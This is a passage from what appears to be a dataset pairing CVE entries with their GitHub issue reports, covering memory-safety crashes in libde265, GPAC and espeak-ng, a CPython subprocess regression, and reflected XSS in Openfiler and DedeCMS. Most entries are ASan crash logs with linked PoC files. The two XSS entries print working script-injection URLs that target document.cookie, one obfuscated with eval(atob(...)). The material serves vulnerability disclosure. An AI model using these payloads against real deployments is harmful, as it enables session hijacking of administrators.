reference YUV -T, --highest-TID select highest temporal sublayer to decode --disable-deblocking disable deblocking filter --disable-sao disable sample-adaptive offset filter -h, --help show help ``` ### Replay ``` cd libde265 CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" ./configure make -j # You need to try running poc several times to see the asan result. ./dec265/dec265 ./poc ``` ### ASAN ``` ================================================================= ==3684026==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b000000658 at pc 0x5621bef6c512 bp 0x7ffe781d0d70 sp 0x7ffe781d0d60 READ of size 4 at 0x61b000000658 thread T0 #0 0x5621bef6c511 in derive_combined_bipredictive_merging_candidates(base_context const*, slice_segment_header const*, PBMotion*, int*, int) eva/put/libde265/libde265/motion.cc:1443 #1 0x5621bef6d403 in get_merge_candidate_list_without_step_9(base_context*, slice_segment_header const*, MotionVectorAccess const&, de265_image*, int, int, int, int, int, int, int, int, int, PBMotion*) eva/put/libde265/libde265/motion.cc:1564 #2 0x5621bef8da6a in derive_luma_motion_merge_mode(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, int, int, PBMotion*) eva/put/libde265/libde265/motion.cc:1622 #3 0x5621bef8da6a in motion_vectors_and_ref_indices(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int, PBMotion*) eva/put/libde265/libde265/motion.cc:2112 #4 0x5621bef8da6a in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) eva/put/libde265/libde265/motion.cc:2195 #5 0x5621bee53806 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) eva/put/libde265/libde265/slice.cc:4145 #6 0x5621bee5d5ff in read_coding_unit(thread_context*, int, int, int, int) eva/put/libde265/libde265/slice.cc:4513 #7 0x5621bee61e7f in read_coding_quadtree(thread_context*, int, int, int, int) eva/put/libde265/libde265/slice.cc:4647 #8 0x5621bee61df6 in read_coding_quadtree(thread_context*, int, int, int, int) eva/put/libde265/libde265/slice.cc:4644 #9 0x5621bee64696 in decode_substream(thread_context*, bool, bool) eva/put/libde265/libde265/slice.cc:4750 #10 0x5621bee6afc9 in read_slice_segment_data(thread_context*) eva/put/libde265/libde265/slice.cc:5063 #11 0x5621bed2d8b4 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) eva/put/libde265/libde265/decctx.cc:854 #12 0x5621bed34e55 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) eva/put/libde265/libde265/decctx.cc:956 #13 0x5621bed387eb in decoder_context::decode_some(bool*) eva/put/libde265/libde265/decctx.cc:741 #14 0x5621bed4a57a in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) eva/put/libde265/libde265/decctx.cc:699 #15 0x5621bed4c645 in decoder_context::decode_NAL(NAL_unit*) eva/put/libde265/libde265/decctx.cc:1241 #16 0x5621bed4d508 in decoder_context::decode(int*) eva/put/libde265/libde265/decctx.cc:1329 #17 0x5621bed0746c in main eva/put/libde265/dec265/dec265.cc:784 #18 0x7f2636829d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #19 0x7f2636829e3f in __libc_start_main_impl ../csu/libc-start.c:392 #20 0x5621bed09ce4 in _start (eva/asan-bin/NestFuzz/libde265/dec265+0x1ece4) 0x61b000000658 is located 80 bytes to the right of 1416-byte region [0x61b000000080,0x61b000000608) allocated by thread T0 here: #0 0x7f26370b61e7 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:99 #1 0x5621bed48f17 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) eva/put/libde265/libde265/decctx.cc:635 SUMMARY: AddressSanitizer: heap-buffer-overflow eva/put/libde265/libde265/motion.cc:1443 in derive_combined_bipredictive_merging_candidates(base_context const*, slice_segment_header const*, PBMotion*, int*, int) ``` ### POC [poc](https://github.com/fdu-sec/poc/raw/main/libde265/poc22) ### Environment ``` Description: Ubuntu 22.04.2 LTS gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 ``` ### Credit Yuchuan Meng ([Fudan University](https://secsys.fudan.edu.cn/))

heap-buffer-overflow `libde265/libde265/motion.cc:1443` in `derive_combined_bipredictive_merging_candidates`

https://api.github.com/repos/strukturag/libde265/issues/434/comments

2023-11-23T02:39:56Z

2023-12-20T10:47:44Z

https://github.com/strukturag/libde265/issues/434

CVE-2023-49468

2023-12-07T20:15:38.477

Libde265 v1.0.14 was discovered to contain a global buffer overflow vulnerability in the read_coding_unit function at slice.cc.

https://github.com/strukturag/libde265/issues/432

github.com

### Description global-buffer-overflow `libde265/libde265/slice.cc:4493` in `read_coding_unit(thread_context*, int, int, int, int)` ### Version ``` dec265 v1.0.14 ----------------- usage: dec265 [options] videofile.bin The video file must be a raw bitstream, or a stream with NAL units (option -n). options: -q, --quiet do not show decoded image -t, --threads N set number of worker threads (0 - no threading) -c, --check-hash perform hash check -n, --nal input is a stream with 4-byte length prefixed NAL units -f, --frames N set number of frames to process -o, --output write YUV reconstruction -d, --dump dump headers -0, --noaccel do not use any accelerated code (SSE) -v, --verbose increase verbosity level (up to 3 times) -L, --no-logging disable logging -B, --write-bytestream FILENAME write raw bytestream (from NAL input) -m, --measure YUV compute PSNRs relative to reference YUV -T, --highest-TID select highest temporal sublayer to decode --disable-deblocking disable deblocking filter --disable-sao disable sample-adaptive offset filter -h, --help show help ``` ### Replay ``` cd libde265 CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" ./configure make -j ./dec265/dec265 ./poc ``` ### ASAN ``` ==1753516==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f6e8318665e at pc 0x7f6e83139f09 bp 0x7fffda7f3620 sp 0x7fffda7f3610 READ of size 1 at 0x7f6e8318665e thread T0 #0 0x7f6e83139f08 in read_coding_unit(thread_context*, int, int, int, int) libde265/libde265/slice.cc:4493 #1 0x7f6e8313abda in read_coding_quadtree(thread_context*, int, int, int, int) libde265/libde265/slice.cc:4650 #2 0x7f6e8313b941 in decode_substream(thread_context*, bool, bool) libde265/libde265/slice.cc:4750 #3 0x7f6e8313d29d in read_slice_segment_data(thread_context*) libde265/libde265/slice.cc:5063 #4 0x7f6e830ca881 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) libde265/libde265/decctx.cc:854 #5 0x7f6e830cca4d in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) libde265/libde265/decctx.cc:956 #6 0x7f6e830ccfe5 in decoder_context::decode_some(bool*) libde265/libde265/decctx.cc:741 #7 0x7f6e830d4ec2 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) libde265/libde265/decctx.cc:699 #8 0x7f6e830d5a4d in decoder_context::decode_NAL(NAL_unit*) libde265/libde265/decctx.cc:1241 #9 0x7f6e830d6308 in decoder_context::decode(int*) libde265/libde265/decctx.cc:1329 #10 0x55b9a8c5fd26 in main libde265/dec265/dec265.cc:784 #11 0x7f6e81e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #12 0x7f6e81e29e3f in __libc_start_main_impl ../csu/libc-start.c:392 #13 0x55b9a8c60ca4 in _start (libde265/dec265/.libs/dec265+0x5ca4) 0x7f6e8318665e is located 14 bytes to the right of global variable 'ctxIdxMap' defined in 'slice.cc:1964:22' (0x7f6e83186640) of size 16 SUMMARY: AddressSanitizer: global-buffer-overflow libde265/libde265/slice.cc:4493 in read_coding_unit(thread_context*, int, int, int, int) Shadow bytes around the buggy address: 0x0fee50628c70: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 01 f9 f9 0x0fee50628c80: f9 f9 f9 f9 00 00 00 f9 f9 f9 f9 f9 00 00 00 01 0x0fee50628c90: f9 f9 f9 f9 00 00 00 05 f9 f9 f9 f9 00 00 00 00 0x0fee50628ca0: 00 00 00 03 f9 f9 f9 f9 00 00 00 00 00 00 00 02 0x0fee50628cb0: f9 f9 f9 f9 00 00 00 00 03 f9 f9 f9 f9 f9 f9 f9 =>0x0fee50628cc0: 00 00 f9 f9 f9 f9 f9 f9 00 00 f9[f9]f9 f9 f9 f9 0x0fee50628cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0fee50628ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0fee50628cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0fee50628d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0fee50628d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==1753516==ABORTING ``` ### POC [poc](https://github.com/fdu-sec/poc/raw/main/libde265/poc20) ### Environment ``` Description: Ubuntu 22.04.2 LTS gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 ``` ### Credit Yuchuan Meng ([Fudan University](https://secsys.fudan.edu.cn/))

global-buffer-overflow in read_coding_unit

https://api.github.com/repos/strukturag/libde265/issues/432/comments

2023-11-22T10:12:42Z

2023-12-20T19:14:23Z

https://github.com/strukturag/libde265/issues/432

CVE-2023-6507

2023-12-08T19:15:08.440

An issue was found in CPython 3.12.0 `subprocess` module on POSIX platforms. The issue was fixed in CPython 3.12.1 and does not affect other stable releases. When using the `extra_groups=` parameter with an empty list as a value (ie `extra_groups=[]`) the logic regressed to not call `setgroups(0, NULL)` before calling `exec()`, thus not dropping the original processes' groups before starting the new process. There is no issue when the parameter isn't used or when any value is used besides an empty list. This issue only impacts CPython processes run with sufficient privilege to make the `setgroups` system call (typically `root`).

https://github.com/python/cpython/issues/112334

github.com

# Bug report ### Bug description: Apologies if this is a duplicate. I couldn’t find a similar report, though. # The issue and how to reproduce We’re seeing a performance regression since 124af17b6e. The best way to reproduce it is to spawn lots of processes from a `ThreadPoolExecutor`. For example: ```python #!/usr/bin/env python3 from concurrent.futures import ThreadPoolExecutor, wait from subprocess import Popen def target(i): p = Popen(['touch', f'/tmp/reproc-{i}']) p.communicate() executor = ThreadPoolExecutor(max_workers=64) futures = set() for i in range(10_000): futures.add(executor.submit(target, i)) wait(futures) ``` Before, on 49cae39ef0, it’s roughly this: ``` real 0m2.419s user 0m4.524s sys 0m0.976s ``` Since 124af17b6e, it’s roughly this: ``` real 0m11.772s user 0m10.287s sys 0m14.409s ``` # An attempt at an analysis and possible fix `strace` shows that the new code doesn’t use `vfork()` anymore but `clone()`. I believe that the reason for this is an incorrect check of `num_groups` (or `extra_group_size`, as it is now called on `main`). 124af17b6e checks if `extra_group_size` is _less than zero_ to determine if we can use `vfork()`. Is that correct? Maybe this should be _equal to zero_? I’m talking about these two locations (diff relative to `main`/9e56eedd018e1a46): ```diff diff --git a/Modules/_posixsubprocess.c b/Modules/_posixsubprocess.c index 2898eedc3e..fb6c235901 100644 --- a/Modules/_posixsubprocess.c +++ b/Modules/_posixsubprocess.c @@ -889,7 +889,7 @@ do_fork_exec(char *const exec_array[], /* These are checked by our caller; verify them in debug builds. */ assert(uid == (uid_t)-1); assert(gid == (gid_t)-1); - assert(extra_group_size < 0); + assert(extra_group_size == 0); assert(preexec_fn == Py_None); /* Drop the GIL so that other threads can continue execution while this @@ -1208,7 +1208,7 @@ subprocess_fork_exec_impl(PyObject *module, PyObject *process_args, /* Use vfork() only if it's safe. See the comment above child_exec(). */ sigset_t old_sigs; if (preexec_fn == Py_None && allow_vfork && - uid == (uid_t)-1 && gid == (gid_t)-1 && extra_group_size < 0) { + uid == (uid_t)-1 && gid == (gid_t)-1 && extra_group_size == 0) { /* Block all signals to ensure that no signal handlers are run in the * child process while it shares memory with us. Note that signals * used internally by C libraries won't be blocked by ``` `extra_group_size` is the result of the call to `PySequence_Size(extra_groups_packed)`. If I understand [the docs](https://docs.python.org/3/c-api/sequence.html) correctly, then this function only returns negative values to indicate errors. This error condition is already checked, right after the call itself: ```C extra_group_size = PySequence_Size(extra_groups_packed); if (extra_group_size < 0) goto cleanup; ``` Later in the code, `extra_group_size` can never be less than zero. It can, however, be equal to zero if `extra_groups` is an empty list. I believe this is what was _meant to be_ checked here. I’ll happily open a PR for this if you agree that this is the way to go. ### CPython versions tested on: 3.11, 3.12, 3.13, CPython main branch ### Operating systems tested on: Linux <!-- gh-linked-prs --> ### Linked PRs * gh-112617 * gh-112731 * gh-112734 <!-- /gh-linked-prs -->

subprocess.Popen: Performance regression on Linux since 124af17b6e [CVE-2023-6507]

https://api.github.com/repos/python/cpython/issues/112334/comments

2023-11-23T10:53:20Z

2023-12-08T21:00:58Z

https://github.com/python/cpython/issues/112334

CVE-2023-47465

2023-12-09T06:15:45.530

An issue in GPAC v.2.2.1 and before allows a local attacker to cause a denial of service (DoS) via the ctts_box_read function of file src/isomedia/box_code_base.c.

https://github.com/gpac/gpac/issues/2652

github.com

[Y] I looked for a similar issue and couldn't find any. [Y] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ [Y] I give enough information for contributors to reproduce my issue Description There is a integer overflow issue in isomedia/box_code_base.c:413 System info Ubuntu 22.04.2 LTS GPAC-2.2.1 Build command ./configure --enable-sanitizer && make crash command /usr/local/bin/MP4Box -saf -diod poc poc_file: [poc.zip](https://github.com/gpac/gpac/files/13040344/poc.zip) Crash output: isomedia/box_code_base.c:413:29: runtime error: negation of -2147483648 cannot be represented in type 'int'; cast to an unsigned type to negate this value to itself

Integer overflow issue in isomedia/box_code_base.c:413

https://api.github.com/repos/gpac/gpac/issues/2652/comments

2023-10-19T09:06:47Z

2023-12-08T06:37:55Z

https://github.com/gpac/gpac/issues/2652

CVE-2023-46932

2023-12-09T07:15:07.663

Heap Buffer Overflow vulnerability in GPAC version 2.3-DEV-rev617-g671976fcc-master, allows attackers to execute arbitrary code and cause a denial of service (DoS) via str2ulong class in src/media_tools/avilib.c in gpac/MP4Box.

https://github.com/gpac/gpac/issues/2669

github.com

# heap-buffer-overflow in str2ulong src/media_tools/avilib.c:137:16 in gpac/MP4Box ### Description Heap-buffer-overflow in MP4Box. #0 0x7ffff694c441 in str2ulong /afltest/gpac2/src/media_tools/avilib.c:137:16 ### Version ```shell MP4Box - GPAC version 2.3-DEV-rev617-g671976fcc-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB ``` ### ASAN Log ./MP4Box -dash 500 -check-xml -dm2ts -bin -out /dev/null poc6gpac ```shell ================================================================= ==1173259==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100001a330 at pc 0x7ffff694c442 bp 0x7ffffffeea70 sp 0x7ffffffeea68 READ of size 1 at 0x62100001a330 thread T0 #0 0x7ffff694c441 in str2ulong /afltest/gpac2/src/media_tools/avilib.c:137:16 #1 0x7ffff694c441 in avi_parse_input_file /afltest/gpac2/src/media_tools/avilib.c:2004:9 #2 0x7ffff694220a in AVI_open_input_file /afltest/gpac2/src/media_tools/avilib.c:1840:2 #3 0x7ffff6f9d3f3 in avidmx_process /afltest/gpac2/src/filters/dmx_avi.c:492:14 #4 0x7ffff6e8f502 in gf_filter_process_task /afltest/gpac2/src/filter_core/filter.c:2971:7 #5 0x7ffff6e62ee9 in gf_fs_thread_proc /afltest/gpac2/src/filter_core/filter_session.c:2105:3 #6 0x7ffff6e6193d in gf_fs_run /afltest/gpac2/src/filter_core/filter_session.c:2405:3 #7 0x7ffff67a625c in gf_dasher_process /afltest/gpac2/src/media_tools/dash_segmenter.c:1236:6 #8 0x50dfc7 in do_dash /afltest/gpac2/applications/mp4box/mp4box.c:4831:15 #9 0x50dfc7 in mp4box_main /afltest/gpac2/applications/mp4box/mp4box.c:6245:7 #10 0x7ffff58cb082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #11 0x42adad in _start (/afltest/gpac2/bin/gcc/MP4Box+0x42adad) 0x62100001a330 is located 0 bytes to the right of 4656-byte region [0x621000019100,0x62100001a330) allocated by thread T0 here: #0 0x4a34ed in malloc (/afltest/gpac2/bin/gcc/MP4Box+0x4a34ed) #1 0x7ffff6942aae in avi_parse_input_file /afltest/gpac2/src/media_tools/avilib.c:1944:35 #2 0x7ffff694220a in AVI_open_input_file /afltest/gpac2/src/media_tools/avilib.c:1840:2 SUMMARY: AddressSanitizer: heap-buffer-overflow /afltest/gpac2/src/media_tools/avilib.c:137:16 in str2ulong Shadow bytes around the buggy address: 0x0c427fffb410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fffb420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fffb430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fffb440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fffb450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c427fffb460: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa 0x0c427fffb470: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffb480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffb490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffb4a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffb4b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==1173259==ABORTING ``` ### Reproduction ```shell git clone https://github.com/gpac/gpac.git cd gpac ./configure --enable-sanitizer make -j24 ./bin/gcc/MP4Box -dash 500 -check-xml -dm2ts -bin -out /dev/null poc6gpac ``` *Thanks* *for* *your* *time*! ### PoC poc6gpac: [poc6gpac.zip](https://github.com/gpac/gpac/files/13181307/poc6gpac.zip) ### **Impact** This vulnerability is capable of causing crashes, or possible code execution. ### Reference https://github.com/gpac/gpac ### Environment ``` ubuntu:20.04 gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2) clang version 10.0.0-4ubuntu1 afl-cc++4.09 ``` ### Credit Zeng Yunxiang Song Jiaxuan

heap-buffer-overflow in str2ulong src/media_tools/avilib.c:137:16 in gpac/MP4Box

https://api.github.com/repos/gpac/gpac/issues/2669/comments

2023-10-26T18:25:32Z

2023-12-04T10:07:48Z

https://github.com/gpac/gpac/issues/2669

CVE-2023-49488

2023-12-11T21:15:07.283

A cross-site scripting (XSS) vulnerability in Openfiler ESA v2.99.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the nic parameter.

https://github.com/Hebing123/cve/issues/1

github.com

https://[ip]:446/admin/system.html?nic=eth0%3CScRiPt%20%3Ealert(document.cookie)%3C/ScRiPt%3E&step=addvlan 

Openfiler ESA 2.99.1 Reflective XSS Vulnerability

https://api.github.com/repos/Hebing123/cve/issues/1/comments

2023-11-23T03:00:09Z

2024-01-11T03:30:06Z

https://github.com/Hebing123/cve/issues/1

CVE-2023-49494

2023-12-11T21:15:07.397

DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.

https://github.com/Hebing123/cve/issues/3

github.com

**Description** DedeCMS-V5.7.111 has Reflective XSS vulnerability in filename parameter of select_media_post_wangEditor.php **Proof of Concept** http://192.168.160.132:1434/uploads/include/dialog/select_media_post_wangEditor.php?filename=1%3Cinput%20onfocus=eval(atob(this.id))%20id=YWxlcnQoZG9jdW1lbnQuY29va2llKTs=%20autofocus%3E  **Impact** Reflective XSS vulnerability triggered by administrator accessing the link.

DedeCMS-V5.7.111 Reflective XSS vulnerability in select_media_post_wangEditor.php

https://api.github.com/repos/Hebing123/cve/issues/3/comments

2023-11-23T10:22:21Z

2024-05-04T11:28:44Z

https://github.com/Hebing123/cve/issues/3

CVE-2023-49990

2023-12-12T14:15:07.553

Espeak-ng 1.52-dev was discovered to contain a buffer-overflow via the function SetUpPhonemeTable at synthdata.c.

https://github.com/espeak-ng/espeak-ng/issues/1824

github.com

**System info** Ubuntu x86_64, clang 12.0 version: espeak-ng(1.52-dev) **Command line** ./espeak-ng -f poc -w /dev/null **Poc** poc:[poc](https://github.com/SEU-SSL/Poc/blob/main/espeak-ng/id_000064%2Csig_11%2Csrc_008778%2Cop_havoc%2Crep_2) **AddressSanitizer output** ==4070074==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000fd06cc at pc 0x0000005555f3 bp 0x7ffcdce1ca70 sp 0x7ffcdce1ca68 READ of size 4 at 0x000000fd06cc thread T0 #0 0x5555f2 in SetUpPhonemeTable /src/espeak-ng/src/libespeak-ng/synthdata.c:338:43 #1 0x5552d5 in SelectPhonemeTable /src/espeak-ng/src/libespeak-ng/synthdata.c:360:2 #2 0x57eae8 in TranslateWord2 /src/espeak-ng/src/libespeak-ng/translate.c:570:4 #3 0x5797d6 in TranslateClause /src/espeak-ng/src/libespeak-ng/translate.c:1607:6 #4 0x56fe0b in SpeakNextClause /src/espeak-ng/src/libespeak-ng/synthesize.c:1560:2 #5 0x543527 in Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:489:9 #6 0x544552 in sync_espeak_Synth /src/espeak-ng/src/libespeak-ng/speech.c:571:29 #7 0x544552 in espeak_ng_Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:669:10 #8 0x51fa9e in espeak_Synth /src/espeak-ng/src/libespeak-ng/espeak_api.c:90:32 #9 0x4cde94 in main /src/espeak-ng/src/espeak-ng.c:779:3 #10 0x7f1ab886e082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #11 0x41d64d in _start (/src/espeak-ng/src/espeak-ng+0x41d64d) 0x000000fd06cc is located 140 bytes to the right of global variable 'phoneme_tab_list' defined in 'src/libespeak-ng/synthdata.c:61:18' (0xfcea20) of size 7200 SUMMARY: AddressSanitizer: global-buffer-overflow /src/espeak-ng/src/libespeak-ng/synthdata.c:338:43 in SetUpPhonemeTable Shadow bytes around the buggy address: 0x0000801f2080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0000801f2090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0000801f20a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0000801f20b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0000801f20c0: 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9 =>0x0000801f20d0: f9 f9 f9 f9 f9 f9 f9 f9 f9[f9]f9 f9 f9 f9 f9 f9 0x0000801f20e0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 0x0000801f20f0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 0x0000801f2100: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 0x0000801f2110: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 0x0000801f2120: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4070074==ABORTING

global-buffer-overflow exists in the function SetUpPhonemeTable in synthdata.c

https://api.github.com/repos/espeak-ng/espeak-ng/issues/1824/comments

2023-11-13T03:26:19Z

2023-12-17T12:53:26Z

https://github.com/espeak-ng/espeak-ng/issues/1824

CVE-2023-49991

2023-12-12T14:15:07.600

Espeak-ng 1.52-dev was discovered to contain a Stack Buffer Underflow via the function CountVowelPosition at synthdata.c.

https://github.com/espeak-ng/espeak-ng/issues/1825

github.com

**System info** Ubuntu x86_64, clang 12.0 version: espeak-ng(1.52-dev) **Command line** ./espeak-ng -f poc -w /dev/null **Poc** poc:[poc](https://github.com/SEU-SSL/Poc/blob/main/espeak-ng/id_000092%2Csig_11%2Csrc_009714%2Cop_havoc%2Crep_2) **AddressSanitizer output** ==4070186==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffd7a6c0e80 at pc 0x00000055a66a bp 0x7ffd7a6c0b70 sp 0x7ffd7a6c0b68 READ of size 8 at 0x7ffd7a6c0e80 thread T0 #0 0x55a669 in CountVowelPosition /src/espeak-ng/src/libespeak-ng/synthdata.c:449:14 #1 0x55a669 in InterpretCondition /src/espeak-ng/src/libespeak-ng/synthdata.c:626:12 #2 0x55a669 in InterpretPhoneme /src/espeak-ng/src/libespeak-ng/synthdata.c:832:14 #3 0x55ab57 in InterpretPhoneme2 /src/espeak-ng/src/libespeak-ng/synthdata.c:979:2 #4 0x5fc032 in CalcLengths /src/espeak-ng/src/libespeak-ng/setlengths.c:680:5 #5 0x56fe4e in SpeakNextClause /src/espeak-ng/src/libespeak-ng/synthesize.c:1563:2 #6 0x543527 in Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:489:9 #7 0x544552 in sync_espeak_Synth /src/espeak-ng/src/libespeak-ng/speech.c:571:29 #8 0x544552 in espeak_ng_Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:669:10 #9 0x51fa9e in espeak_Synth /src/espeak-ng/src/libespeak-ng/espeak_api.c:90:32 #10 0x4cde94 in main /src/espeak-ng/src/espeak-ng.c:779:3 #11 0x7fe8046c2082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #12 0x41d64d in _start (/src/espeak-ng/src/espeak-ng+0x41d64d) Address 0x7ffd7a6c0e80 is located in stack of thread T0 at offset 0 in frame #0 0x55a92f in InterpretPhoneme2 /src/espeak-ng/src/libespeak-ng/synthdata.c:964 This frame has 1 object(s): [32, 192) 'plist' (line 967) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-underflow /src/espeak-ng/src/libespeak-ng/synthdata.c:449:14 in CountVowelPosition Shadow bytes around the buggy address: 0x10002f4d0180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10002f4d0190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10002f4d01a0: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 0x10002f4d01b0: f8 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 f3 f3 0x10002f4d01c0: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 =>0x10002f4d01d0:[f1]f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00 0x10002f4d01e0: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 0x10002f4d01f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10002f4d0200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10002f4d0210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10002f4d0220: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4070186==ABORTING

stack-buffer-underflow exists in the function CountVowelPosition in synthdata.c

https://api.github.com/repos/espeak-ng/espeak-ng/issues/1825/comments

2023-11-13T03:33:30Z

2023-12-17T12:53:16Z

https://github.com/espeak-ng/espeak-ng/issues/1825

CVE-2023-49992

2023-12-12T14:15:07.653

Espeak-ng 1.52-dev was discovered to contain a Stack Buffer Overflow via the function RemoveEnding at dictionary.c.

https://github.com/espeak-ng/espeak-ng/issues/1827

github.com

